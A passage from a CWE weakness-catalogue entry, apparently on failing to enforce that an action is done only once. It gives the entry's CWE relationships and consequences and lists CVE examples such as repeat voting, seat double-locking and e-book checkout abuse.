
The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		799	Improper Control of Interaction Frequency	1708

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf		438	Behavioral Problems	2348
MemberOf		840	Business Logic Errors	2381

Applicable Platforms

Language : Not Language-Specific (*Prevalence = Undetermined*)

Common Consequences

Scope	Impact	Likelihood
Other	Varies by Context <i>An attacker might be able to gain advantage over other users by performing the action multiple times, or affect the correctness of the product.</i>	

Observed Examples

Reference	Description
CVE-2008-0294	Ticket-booking web application allows a user to lock a seat more than once. https://www.cve.org/CVERecord?id=CVE-2008-0294
CVE-2005-4051	CMS allows people to rate downloads by voting more than once. https://www.cve.org/CVERecord?id=CVE-2005-4051
CVE-2002-216	Polling software allows people to vote more than once by setting a cookie. https://www.cve.org/CVERecord?id=CVE-2002-216
CVE-2003-1433	Chain: lack of validation of a challenge key in a game allows a player to register multiple times and lock other players out of the game. https://www.cve.org/CVERecord?id=CVE-2003-1433
CVE-2002-1018	Library feature allows attackers to check out the same e-book multiple times, preventing other users from accessing copies of the e-book. https://www.cve.org/CVERecord?id=CVE-2002-1018
CVE-2009-2346	Protocol implementation allows remote attackers to cause a denial of service (call-number exhaustion) by initiating many message exchanges. https://www.cve.org/CVERecord?id=CVE-2009-2346

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		1410	Comprehensive Categorization: Insufficient Control Flow Management	1400	2557